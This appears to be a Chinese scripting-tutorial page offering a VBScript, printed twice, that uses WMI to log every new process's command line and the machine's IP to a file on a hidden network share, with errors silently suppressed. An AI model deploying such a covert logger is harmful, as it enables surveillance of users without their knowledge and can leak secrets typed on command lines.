用VBS記錄客戶機(jī)操作的代碼
更新時(shí)間:2008年05月20日 22:53:32 作者:
記錄客戶機(jī)操作的VBS腳本
記錄客戶機(jī)操作的VBS腳本
on error resume next
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set IPConfigSet = objWMIService.ExecQuery _
("Select IPAddress from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE")
For Each IPConfig in IPConfigSet
If Not IsNull(IPConfig.IPAddress) Then
For i=LBound(IPConfig.IPAddress) to UBound(IPConfig.IPAddress)
a=IPConfig.IPAddress(i)
Next
End If
Next
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colMonitoredProcesses = objWMIService. _
ExecNotificationQuery("select * from __instancecreationevent " _
& " within 1 where TargetInstance isa 'Win32_Process'")
i = 0
Do While i = 0
Set objLatestProcess = colMonitoredProcesses.NextEvent
b=objLatestProcess.TargetInstance.CommandLine
set fso=createobject("scripting.filesystemobject")
set file1=fso.opentextfile("\\192.168.0.87\ourway$\ourway.htm",8,true)
file1.writeline now() & "---" & a & "---" & b & "<hr>"
file1.close
Loop
on error resume next
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set IPConfigSet = objWMIService.ExecQuery _
("Select IPAddress from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE")
For Each IPConfig in IPConfigSet
If Not IsNull(IPConfig.IPAddress) Then
For i=LBound(IPConfig.IPAddress) to UBound(IPConfig.IPAddress)
a=IPConfig.IPAddress(i)
Next
End If
Next
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colMonitoredProcesses = objWMIService. _
ExecNotificationQuery("select * from __instancecreationevent " _
& " within 1 where TargetInstance isa 'Win32_Process'")
i = 0
Do While i = 0
Set objLatestProcess = colMonitoredProcesses.NextEvent
b=objLatestProcess.TargetInstance.CommandLine
set fso=createobject("scripting.filesystemobject")
set file1=fso.opentextfile("\\192.168.0.87\ourway$\ourway.htm",8,true)
file1.writeline now() & "---" & a & "---" & b & "<hr>"
file1.close
Loop
相關(guān)文章
VBS教程:函數(shù)-GetLocale 函數(shù)
VBS教程:函數(shù)-GetLocale 函數(shù)...2006-11-11Shell.Application執(zhí)行命令的五種方法小結(jié)
可能很多人發(fā)現(xiàn)了在海陽頂端2006+版本中Shell.Application執(zhí)行命令的方法在win2003中不好用了。2010-11-11用VBS實(shí)現(xiàn)PHP的md5_file函數(shù)代碼
用VBS實(shí)現(xiàn)PHP的md5_file函數(shù)代碼,需要的朋友可以參考下,代碼主要是參考官方的資料。2011-01-01由vbs sort引發(fā).NET Framework之間的關(guān)系說明
昨天晚上linkanyway問我VBS數(shù)組怎么排序,有沒有sort方法。我說,VBS又不是C#,怎么可能有sort方法,自己寫個(gè)排序算法不就行了。他說他不會(huì)寫,忽悠誰呢。2011-01-01讀取Access數(shù)據(jù)庫的vbscript代碼打包下載
一段用來讀取Access數(shù)據(jù)庫的vbscript代碼,來自國外的代碼,經(jīng)過腳本之家測(cè)試,確實(shí)不錯(cuò)。2011-12-12一個(gè)把任何文件轉(zhuǎn)成批處理的vbs腳本Any2Bat.vbs
一個(gè)把任何文件轉(zhuǎn)成批處理的vbs腳本Any2Bat.vbs...2007-04-04vbs枚舉進(jìn)程 vbs列出進(jìn)程的詳細(xì)列表
這篇文章主要介紹了vbs枚舉進(jìn)程 vbs列出進(jìn)程的詳細(xì)列表,需要的朋友可以參考下2016-12-12